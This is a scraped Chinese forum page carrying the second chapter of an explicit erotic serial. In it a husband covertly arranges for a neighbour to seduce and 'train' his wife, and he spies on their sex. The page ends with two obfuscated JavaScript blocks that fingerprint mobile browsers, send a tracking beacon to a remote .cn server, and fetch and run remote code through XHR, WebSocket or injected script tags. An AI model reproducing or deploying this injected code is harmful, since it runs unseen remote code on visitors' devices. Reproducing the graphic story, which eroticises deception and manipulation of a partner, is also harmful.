图片载入中

媚骨淫妻(第一部)(二)

特大字】 【大字】 【中字】 【小字

字数:9537【第一部】隔壁娇吟声第二章、出轨走入正轨站在阳台的玻璃门门口,我首先向窗帘的对面窥探。可惜,叶哥家的窗帘属于那种高度遮光性的,我完全没有看到有灯光透过来。不过我随即发现,叶哥并没有把窗户关死,我一边凑近窗户的缝隙,一边掏出了鸡巴缓缓地套弄着,希望能够听到娇妻被叶哥玩弄的呻吟。不过,情况有些出乎我的意料,当我悄悄掀开窗帘后,并没有看到任何人的身影,只有叶哥的卧床旁点亮的床头灯显出不凡。然而,从窗外一眼扫向门后的角落,我心中一阵无比的悸动,娇妻今夜穿的睡衣就堆在那里!浴室内似乎有什么声音,隐隐约约的,我听到了男女对话的响声。还未等我多想些什么,门就忽然开了。我美艳的妙龄娇妻站在门前,身上只围着一条白色的浴巾。修长的秀发带着水准披散脑后,浑身散发热气,冰肌玉骨的肩膀带着桃花的色彩,浴巾上部则露出深深的乳沟,丰满挺拔的乳房上也挂着水珠。而浴巾却又很短,只能裹住她挺翘的丰臀,而娇妻完美曲线的美腿则都暴露在空气中。在她身后,叶哥赤裸着身体,当娇妻走入屋内时,那坚硬硕大的肉棒高翘地挺立在胯间,我眨了眨眼睛,那肉棒没有二十公分怕也差不多了,又粗又大,随着步伐的走动而不断摆动。叶哥的身子果真也十分健美,虽比不上健美选手,但腹部也有两块腹肌。而且屁股也十分挺翘结实,和自行车运动员一样,性功能必然不俗。事实上,就在叶哥坐到床上之前的这几步路里,先一步坐到床上的娇妻一直都在看着那根肉棒。“来,弟妹,给我舔一舔。”亏他还叫文慧是弟妹,叶哥温柔地笑着,把他高高挺起的肉棒凑到了床前坐好的娇妻面前。从窗外这个角度,我可以看到文慧是什么表情,只见她脸上已是通红一片,却并非羞涩,而是淫欲涌起时的潮红。眼睛紧盯着那根必然已经享用过她娇嫩美肉的大肉棒,她伸出手来,轻轻地抚摸起来。“叶哥……你……你的这东西……你说你怎么就这么厉害……但凡哪个女孩成了你的女友,恐怕都会着迷吧?”轻轻抚摸着叶哥的阴茎,娇妻缓缓张口,将龟头满满含了进去,然后缓缓地向更内部吞去。很快,将他整个肉棒吞下大半后,文慧便开始缓慢地前后耸动着脑袋,吞吐起叶哥的肉棒来。我的妻子,我真心相爱的妻子,在我的安排下,如今正在给另外一个男人殷勤地做着口活。在这异样的兴奋刺激下,我开始不断套弄自己的肉棒,而在眼前,文慧正用双手握着叶哥的肉棒,一只手握着中间,一只手握着卵蛋,面色潮红,杏眼半睁半闭,不断吞吐着另一个男人的肉棒……“呵呵,你又何尝不是让我着迷呢,弟妹。哦……小舌头舔得可真棒,弟妹,再让我揉一揉你的奶子吧,我真是怎么也玩不够呢~”浴巾花落,娇妻挺着玉背,胸前那一对浑圆饱满美乳房坚挺地垂着,上面布满水珠。我的妻子,一直以来,确实只有我把玩过的那对乳房,就这么被叶哥抓在了手里,开始轻轻地揉了起来。看到娇妻顿时发出呻吟的声音,我撸动的力度顿时加大了,就在屋内仅仅数米远的位置,我妻子,我的妻子,正一边给另一个男人口交,一边被他把玩乳房!而这种事情,现在怕已经是第九次了!就在过去短短一个月的时间里,受不了每日积攒体内的淫欲折磨,选择向邻居出轨的娇妻,已经九次给她丈夫以外的、有生以来第二个男人口交,并任由他把玩自己珍贵的乳房了!而且,她作为一个女人,最宝贵、最应当珍惜的蜜穴,也依旧八次向另一个男人展开了怀抱,说不定都已经被内射过了,说不定,都已经被内射了八次也说不定!就在我为自己的想象万分激动时,眼看屋中,叶哥已经满足地放开娇妻那绵软雪腻的乳肉,将肉棒从她的口中抽出,然后轻轻坐在她的身边,温柔地搂住娇妻的肩膀。“来吧,弟妹,刚才在浴室里,你都已经给我吹了一管了,那现在就该轮到我让你舒服了。”原来,文慧刚才已经在浴室里给叶哥口交过了,甚至应该已经射精完事。明明是通奸也能说得这么温柔浪漫,叶哥真不愧是资深的调教师,对女人心的捕获当真不简单!“嗯……叶哥……你……你摸这里……”坐在床尾的文慧此刻正侧对着我,给我一个后脑勺,看向叶哥的她自己分开了那修长美丽的大腿。叶哥侧身坐下搂着她的腰,手掌缓缓地抓揉着她的一只饱满的乳房,另一只手却已经伸向了她的淫穴。叶哥的手不断在文慧的大腿内侧抚摸着,仅仅片刻,她那诱人的身子就瘫软到了床上。在床头灯暧昧的黄色光线下,娇妻伸展着她那内衣模特般动人的娇躯,双手摸上自己那对丰满的乳房开始轻轻揉了起来。而在下面,她的双腿以M的形状分开,叶哥则把头凑到了她的胯下,开始舔起了娇妻那淫穴来。好家伙,这小子连这种招数都用上了!很快,仰卧在床上的文慧便发出了动人的呻吟,自己揉着胸部丰满的乳房,双腿夹住叶哥的脑袋,动情地轻轻耸动下体。“噢……叶哥……我受不了了……你弄得我好舒服……啊……叶哥……你真的好厉害啊……我的小穴……我的小穴好久没这么爽过了……你真好……你真是个好人……”娇妻居然还说叶哥是个好人,又比这更大的笑话了吗,说真的,我是确实笑出来了,笑得连撸管都差一点忘了。这时,叶哥又擡起头了,他直接一屁股骑在仰躺着的娇妻面前,将那根都因为重量垂下的大鸡巴凑到娇妻嘴前,然后说道。“来,弟妹,再帮个忙吧,刚才给你口活,我这儿……”“你这儿根本……没软~”如此娇喘着的娇妻张开了嘴,叶哥顺势就把肉棒插了进去。当然,不可能插得太深,而娇妻也立刻吸住他的龟头开始不断吸允了起来滋滋的声音不断在卧室里响起,那是我的妻子正在舔舐另一个男人的龟头发出的声音,看到叶哥享受的表情,看到他自行车驾驶员般结实的臀部和发达的肉茎,我知道,单轮性能力,他真的是一个令太多女人着迷的种马。“叶哥……来插我吧……啊……我好想……求你……”娇妻一边吞吐着叶哥的肉棒,一边已经不自觉地拨弄着自己的淫穴。窗外的我看的不是特别清楚,不过娇妻的淫穴肯定已经春水泛滥了。“好的,我这就插你。来,套子呢?弟妹,给我套上……”原来他们做爱还是要套套子的……虽然没有想象中不停内射的情节,但我反倒为这种局面感到欣慰。如果说,文慧仅仅因为一个来月的性欲高涨,就任由才认识不久的邻居疯狂内射,这反倒是失控的前兆。不过,眼前的画面还是太特么诱人了。赤身裸体的文慧任由叶哥在床前把玩着她饱满圆润的丰乳和淫水泛滥的蜜穴

,轻轻扭动着自己内衣模特般优美的身体,用嘴撕开避孕套的包装,然后,没有立刻给他套上,而是居然还用手握住他鸡巴的根部,然后殷勤地吞吐了起来我亲爱的老婆啊,你真是让我爱死你了,你这是嫌你调教师要操你的鸡巴还不够硬吗?嗯,还真是这样!娇妻任由叶哥不断把玩她那本应只属于我的乳房和淫穴,屈膝跪在床上,不停大口大口地吞着他的鸡巴,直叫叶哥的鸡巴早就油光水滑了还不罢休,把本应用在我身上的口活都交代了出去,甚至还轻咬叶哥的卵蛋!她的舌头仔细的舔弄着叶哥的鸡巴,由前至后,接着轻轻咬住阴囊,然后又到了龟头上来一圈,轻轻绕弄着。就是这样,叶哥却楞是没射出来,等终于给他套上避孕套的时候,娇妻她自己都被叶哥玩得高潮了一次了!“嗯……来吧……叶哥……快给我解解痒……我的小穴已经痒得不得了了……”躺在床上,娇妻轻轻喘息着分开自己的双腿,而叶哥也把他的大鸡巴顶在了娇妻的淫穴上,龟头外的避孕套在上面稍微沾了些淫液,然后噗哧一声,插了进去!插进去了!虽然还戴着套,但确实已经插进去了!“哦……爽……叶哥……就是这样,就是这样……啊……操我啊……用力操我啊……啊……”通奸八次的娇妻用双腿夹住叶哥结实的腰部,那对脚丫紧紧弓起,下体熟练地配合着叶哥的抽插运动了起来。“哦……你的那个……顶到那里了……啊……你怎么……这么会弄我啊……

弄得我都……不行了,要来了……啊……我要你的……那个……啊……“

没好意思对叶哥叫出“那个”的名字,文慧的身子却一点没不好意思,我这里看得不是非常清楚,但叶哥那根硕大的男根肯定正在肆意耕耘着我妻子那鲜美可口的淫穴无疑。在自己的安排下,看着心爱的妻子被叶哥操得叫声不停地叫喊,我也感觉刺激得无法言语。“弟妹,你真行,你的里面怎么这么挤,哦……比我老婆第一次还紧。”

听到叶哥由衷的赞美,暗自在窗前撸管的我不由得楞了一下,感情,叶哥竟然也是结婚了的人?“啊……好爽……真的好爽……哦我的天啊……你竟然、你竟然还有老婆~?嗯~天啊……我在……偷汉子……我是……我成小三了……啊……叶哥……叶哥你使劲干我……要到了……我到了!”浑身一阵抽搐,文慧这就被叶哥干上了一个大高潮!不过,高潮的只是娇妻,而叶哥却并没有射精,但两人却也稍微停下了一些。娇妻仰面躺在床上,不断喘息着,而叶哥则抽出了自己的肉棒,转而躺在娇妻的身边,轻轻揉着、把玩着她那对饱满浑圆的雪乳。“你……还没射呢?”被叶哥把玩着乳房,娇妻脸色红红地看着叶哥鸡巴上堆积起的避孕套,一边把她一条腿跨到了叶哥身上,一边从床头柜那里又拿出了一枚。“我……我还行,我还能再做,咱们再来一次?”再来一次就再来一次,我一边在窗外缓和地套弄着一边想着,而叶哥自然更不会客气,在文慧给他套上了套子后,他要娇妻用后入式撅起自己丰满的翘臀从后面,叶哥插进了文慧的淫穴里,然后一边爱抚地揉着她那对垂下的乳房一边不断操干着,肉体拍打的噼啪声响格外激烈,而娇妻更是被他操干得全身不断向前耸去。“啊啊…啊啊…啊……叶……哥……你的……鸡巴好……大……哦……好舒服……噢……”话都有些说不全了的娇妻已经被操干得爽歪歪了,甚至连鸡巴这个词也终于吐出了口。叶哥停止揉捏娇妻的乳房,转而用手把着她丰满的雪臀,将淫穴扒开一些,他操干的速度稍微减缓了一些,他每插弄一下,娇妻都会刺激得颤抖。而很快,他又开始快速抽插着,性能力强悍得让人发指,在二十分钟的时间里,他连续和文慧换了几个姿势。期间,叶哥的大肉棒甚至还在文慧乳房中间抽送,把我娇妻的美乳当作肉穴一样操干起来。虽然文慧乳交的第一次是在我手里,但看见叶哥骑在她身上,粗硬的肉棒不断在那沟壑般的乳沟间穿行,我的鸡巴顿时涨大了一圈。然后,叶哥又让文慧把屁股高高翘起,从后面再次攻入她的淫穴。文慧又圆又大的屁股左右摆动,被叶哥撞起层层臀浪,嘴里更是高声淫叫虽然知道娇妻的蜜穴和叶哥的肉棒间还有避孕套隔着,但我已经被眼前的景象刺激得不行,撸动的肉棒好多次都差点要射了出来。最后,叶哥让文慧躺在床上,用手握住她的脚腕令双腿被大大地分开,然后肉棒深深的在淫穴里抽插。当文慧又高潮了好几次后,叶哥勐地哼了一声,鸡巴从她的淫穴里抽来,避孕套撸掉,套弄几下,大股精液顿时射在我老婆狼藉的下体上,还有很多喷在淫穴外面。见到叶哥也终于射精了,我自然也把精液射到了阳台外的广阔天地中,希望这大半夜的没人刚好路过,不然可真就是一大泡鸟屎从天而降了。嗯,阿弥陀佛!再次偷窥屋内,娇妻懒洋洋地瘫在床上喘着粗气,胸前的乳房不断随着唿吸上下起伏着,而叶哥则也躺在她的身边,轻轻揉着那对饱满的乳房。“你……谢谢你……我还得再说一次……”脸上依旧红红的娇妻轻声说着,手掌在自己小腹上轻轻抚摸着。不过,她竟然还在感谢叶哥,这可真就是有点搞笑了,在娇妻看来,是她自己性欲难耐勾搭邻居,但实际上,却是自己丈夫和邻居共同策划来让她堕落!

“你丈夫就真爽不了你?”叶哥邪笑着揉着娇妻的乳房,直弄得她又是一阵娇哼,不过让我感到比较欣慰的是,在这调教才刚开始的时候,娇妻没有像陷入热恋般地偎依在叶哥的怀里,似乎只把他当成一个炮友来看待。“这可不是我丈夫的问题,是我自己……是我自己……”任由叶哥把玩她的丰乳,娇妻一边轻哼着,一边为我解释着。“他、他三两天地就能和我……好好做上一次,这很正常,不正常的是我…

…我……我每天都想做……“在窗外偷偷看着,我也感到有些疑惑,文慧所谓的出问题就是在叶哥搬过来以后。那么,如此奇怪的一个月,她自己又是怎么想的?她没有把这件事和叶哥的搬家联系起来吗?见文慧似乎还要再休息一会儿的样子,我也就不继续在阳台外面守着了,而是回到了自己屋里。躺在床上,我看了下表,现在是半夜十一点十分。看来,文慧是在等我睡着后,就迫不及待地跑到隔壁去了。很好,非常好,因为长时间受到淫欲煎熬,在导火索卫生间事件的带动下,娇妻已经开始步入出轨的深渊了。非常好,太好了,她和我的最终目标之一,人尽可夫的距离已经被缩短一些了。然后,就是漫长的等待。然后,当玄关处终于响起开门的声音时,我偷偷看了下手机。零点半。竟然差了一个多小时的时间!在这么长的时间里,娇妻在干些什么是显而易见的。看来,通过叶哥这一个月来九次的所谓偷情,调教的效果已经开始显现了装作普通的翻身,在娇妻走入卧室的同时,我转身朝向门口,然后偷偷睁眼,通过窗帘缝隙间的月光,我悄悄观察着。脸上似乎带着尚未退却的红潮,娇妻穿着今晚睡觉的睡衣,有些疲惫地走到床前,然后掀被,躺下。悉悉索索的声音中,闭上眼睛的我感到一个温暖柔然的躯体搂住了我。虽然隔着睡衣的质感,我也依旧能感受到妻子身体的柔软,和那不正常的高温“老公……”喃喃的声音近在咫尺,让装睡中的我有些后悔为啥要面朝门口了。“我的好老公~”嘴唇有些湿润,被文慧亲了一口。我忽然想起,至少在我刚才偷窥过的那场性事当中,文慧不仅要求戴套,也并没有和叶哥接吻。#################################

#####第二天醒来的时候,时间已经是七点整了,我眨了眨眼想了想,貌似今天是周五。“老公,你醒了?”卧室门口,文慧俏生生地站在那里向我问早,晨时的她有着穿睡衣的习惯,两年来一直如此。正所谓犹抱琵琶半遮面,此刻,她把黝黑秀发扎成简单发髻,身穿一件淡紫色的真丝睡衣裤,丰挺的胸部将衣衫撑的鼓起,臀部轮廓也无比明显。斜靠门框,面带桃花,举手投足千娇百媚。“嗯,醒了醒了。啊~喂,老婆,今早请叶哥过来吃饭?”虽然文慧肯定还得换上居家服,不至于直接在我面前穿睡衣迎接叶哥,但既然她已经和叶哥做了九个晚上,有些事情也应该推进一步了。娇妻的脸上本就有着红晕,但我也从她瞬间而过的表情上看出了些许羞涩,若非我已然知晓,这瞬间消逝的迹象真的无法被察觉。“好啊,那今早做什么呢?煎鸡蛋?”文慧烹饪时,我就敲响了隔壁的门,片刻后,衣着整齐的叶哥就开门了“行啊,哥们。”站在他家门口,我当头就是一句。“感情你都把我老婆上了九次了!说,昨晚上十一点到十二点,你俩咋整的?”

幸亏这一层楼三户人家中,另一扇门里此刻没有住客,要是让别人听见了我向叶哥的问话,这流言蜚语这就翻了天了。叶哥笑呵呵地朝我半掩的屋门瞅了瞅,说道。“弟妹干啥呢?”“哦,煎鸡蛋呢,过来吃一顿?”一般都是晚饭,早餐邀请叶哥还是头一次。“那好的很啊,煎鸡蛋的话……”“你还没回答我问题呢,叶哥,昨晚……”“咳咳……”叶哥笑呵呵地拍了拍我的肩膀,戴着金丝眼镜的他的确是又帅气又有气质,而且身子骨也健美的很,难怪春情荡漾中的文慧能看上他。毕竟从根上说,她还只是个22岁的、大学毕业后就呆在家里的大女孩罢了,能受得住多少诱惑?

“我和她又在床上做了一次,啧啧,小萧,不得不说,你老婆真的是一个尤物啊,那小屄真是又紧又多汁。而且你知道嘛,她有一点,格外具有调教价值。”

前一秒还在为叶哥的点评感到一阵异样的兴奋,紧接着,我又被他挑起了好奇心。“她真的是个好女孩,爱着你,虽然现在已经有些不一样了,但一开始的时候,那可真就是……小萧,我好苦逼啊你知道不,她一开始真就只把我当初高效按摩棒用……”我也真没想到叶哥能朝我诉苦,感情老婆对我的爱还真不浅呢,很好,很好,这才好,要是文慧一下子就又是内射又是接吻,又如何如何的……那可就不是调教淫妻了,那是杯具的前兆啊!等坐到餐桌上后,我自是刻意观察起两人间的互动起来。作为知根知底的叶哥,他到没有刻意对文慧表现出不寻常的关心,而文慧的举止在大角度上来看也基本正常。不过,在我已知悉前科的前提下,她举手投足间一丝不正常的羞涩也被我扑捉到了。“怎么样,叶哥,文慧做的三明治味道不错吧?”面包夹鸡蛋搭配沙拉酱和两片菜叶,我在问的时候也刻意瞅了眼文慧,果然见她稍微露出些关注的样子。不是正常的、普通的关注,而是不正常的、不普通的关注.“嗯,非常好吃,弟妹的手艺真的很不一般,连鸡蛋都能煎得这么美味~”

这句话明显带有些歧义了,怎么说这也就是个煎鸡蛋而已。我偷偷扫了眼文慧,果然见她眼神稍微飘忽了一下。以前,我从未在这些细节上留意他们,现在留意了,还真就有点倪端。当然,若不是我已经知晓,知晓一切,而换做普通人的话,也绝没本事从这点小事上看出出轨和偷情之类的痕迹。鸡蛋的歧义,鸡巴?卵蛋?喂,我说叶哥,你这其实是做给我看的吧?难不成,给文慧讲隐晦的黄笑话也是调教的一部分?早饭之后,我便先一步上班去了,不是真的很忙,也不是非得走那么早,其实就是为了能给叶哥和文慧腾出足够的空间而已。毕竟从文慧的角度来看,她正在和叶哥偷情而我一无所知,那么,任何一个我不在的时间段里,他们都有可能发生些什么。作为一家小杂志社的老板,我倒也拥有一辆丰田轿车。可惜,今天走得虽然早了些,但也只是参考我以往上班的时间,实际上刚好和早高峰碰上了。堵在半路,显得无聊,我不由得遐想起家里的情况。文慧是没有工作的,每天的事情就是自家里处理家务、玩,还有逛街什么的,而表面职业是报社主编的叶哥也有着相当大的自由权。那么,在这个周五时分,他们会干些什么?有些小激动,几乎从未有过的习惯,我在此刻拨打文慧的手机。果不其然,文慧的手机并没有被立刻接通,直等到电话出现电子提示音都没有任何反应。我看看前方,路已经不堵了,按耐住心中的小激动,把文慧正被叶哥压在身下娇吟的幻想驱逐出脑海,一切都等驾车到公司后再说。路上,我甚至还格外兴奋地在心中碎碎念。老子辛辛苦苦上班赚钱养你,结果你就在老子正朝公司赶去的时候,就在家给老子戴绿帽子!啧啧,得此贤惠而淫荡的娇妻,夫复何求!足足花了半个小时的时间抵达公司,等我推开公司门的那一刻,一个相貌英俊的毛头小子刚好也站在门口,手里拎着豆浆油条。“哦,小孙?”“是你!?啊不,老板!?啊那个……”我似笑非笑地打量着他手上的吃食,说道。“我记得公司有规定,带食物进办公室……”“我这就交罚款!”真是个逗比的实习生啊,人事部我感谢你,嗯,小伙子干得好话留下来也不错,以后这屋子里可就热闹了。关好门,一屁股坐在自己椅子上,我再次拨打文慧的电话。这一次,在嘟嘟的声音响起七次后,才可算是接通了。“喂?”对面,娇妻的声音一切如常。“老婆,刚才给你电话咋没接?”老婆一点迟疑都没有地回答道。“哦,我那会儿正上厕所呢。”嗯,如此快速回答也许是因为情况属实,不过,究竟是为什么上厕所呢?要知道,厕所其实就等于浴室,没准你是在和叶哥洗鸳鸯浴呢!“我这儿到班上了已经,有点忙,今晚估计得很晚才能回来了,要不你出去吃一顿?”我亲爱的文慧娇妻啊,你说你老公我是多么的体贴,自从知道你早就和叶哥有一腿,有好多腿,都有九腿了之后,我是多么不遗余力地给你们创造机会?

“啊……很晚是吗?嗯,大约几点?”我瞅了瞅手表,随便说道。“半夜九点……啊不,十点钟吧。”我应不应该早一两个小时回去,捉捉奸什么的呢?一个月九次的频率,那可就是平均三天一次啊,如此娇妻若不给调教成人尽皆夫的淫娃,岂不是暴殄天物?嗯,考虑到捉奸可能让文慧过度紧张,为了能让她早日堕落,我还是老老实实晚十点回家吧!亲爱的,我这都是为了你好哟~挂了电话,我开始浏览那个论坛。再次打开【李文慧】的帖子。不过可惜没有太大变化,毕竟我昨天才刚看了一次。不过,瞅了瞅帖子上那张文慧衣冠整齐地坐在叶哥床上的照片,我感觉好像有点不对。床脚垃圾桶,里面是空的,连垃圾袋也没套。那么,用过的避孕套呢?我回忆叶哥今早说过的话。“她真的是个好女孩,爱着你,虽然现在已经有些不一样了,但一开始的时候,那可真就是……小萧,我好苦逼啊你知道不,她一开始真就只把我当初高效按摩棒用……”也就是说,我老婆其实也可能已经被叶哥内射过了,昨天看的只是巧合?对啊,我也没有证据证明,文慧有要求叶哥戴套!我努力回忆昨夜的情形。“好的,我这就插你。来,套子呢?弟妹,给我套上……”不是文慧,而是叶哥提出戴套子。而与此相反,在文慧撕开包装后,也没急着给叶哥戴上,而是一直给他口交所以说,其实昨夜只是偶然?文慧的排卵期……对啊,文慧的排卵期好像也差不多就是这会儿,所以说,那只是单纯为了避孕?所以,文慧在过去的一个月里,其实早就被叶哥内射了很多次了?我知道,这一切都只是我的猜测,但就是在这猜测的过程中,异样的兴奋不断撑着我的肉棒,让我实在是难以安心工作。最后,在随随便便地晃荡了好一段时间后,看看表,下午三点钟,我又给文慧打去一个电话。又是漫长的等待,然后,就在我以为电子音又要想起的时候,电话可算通了“喂?”文慧的音调有点高,而我想都不想地就按应有的样子高声道。“怎么这么半天才接!?”对面,我没有听到什么异样的声音,不过,娇妻又一次未来得及接电话本就够让我遐想了。“嗯……我……我刚刚午睡来着……”在刻意关注下,我明显感到文慧的声音有种正在忍耐的感觉,哈哈,这已经算是被我抓到了啊,你正在和叶哥上床呢对吧!?“午睡?哦,对了,慧慧,我忘了跟你说了,上午我接了个电话,有人邀请我去外地开个会,下周一走,一个星期呢。亲爱的,你说这事儿……?”压根就没什么会,我照样还在公司上班,亲爱的老婆,这就是给你一个长时间和叶哥疯狂滚床单的绝佳机会啊!果然,音调有些高昂的文慧毫不犹豫地回答道。“嗯……没问题,你、你工作的话……这是工作啊。嗯……好好工作,我、我在家里等你……”明显是在忍耐快感的声音,但文慧其实掩饰得已经很好了,如果不是我现在有上帝视角,完全不会发现!“嗯,那好,今晚等我回家啊。对了,慧慧……”“那个……老公……”没等我说完话呢,文慧忽然开口。“我……我肚子疼……厕所……挂了!”最后这句话显然忍不住了,也许是大概就在她身边的叶哥快把她操到高潮了,也许是她快忍不住呻吟了,及时用肚子疼这个合适的理由为自己明显异样了的声音找了借口,文慧真就立马挂了电话。“嘟……嘟……嘟……嘟……”坐在椅子上揉揉鸡巴,听着手机里的忙音,我欣慰地笑了。真不愧是我的老婆,偷情时的借口一个一个的,啧啧,这样的话,以后也都不是问题啊!笑着,服下一颗固精锁元丸,我给叶哥的手机发去一个短信。【下周,从周一到周末,我出差,你可得把咱家老婆照顾好。阅完删。】

足足半个小时后,叶哥短信终于到了。【忙你的去吧,好好赚钱,有我在,咱家老婆你放心,过得滋润着呢。阅完删。】[本帖最后由a198231189于编辑]艾尔梅瑞金币 9转帖分享,红包献上!


上一篇:美少女的沉沦之护士犬

下一篇:杜子娟


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};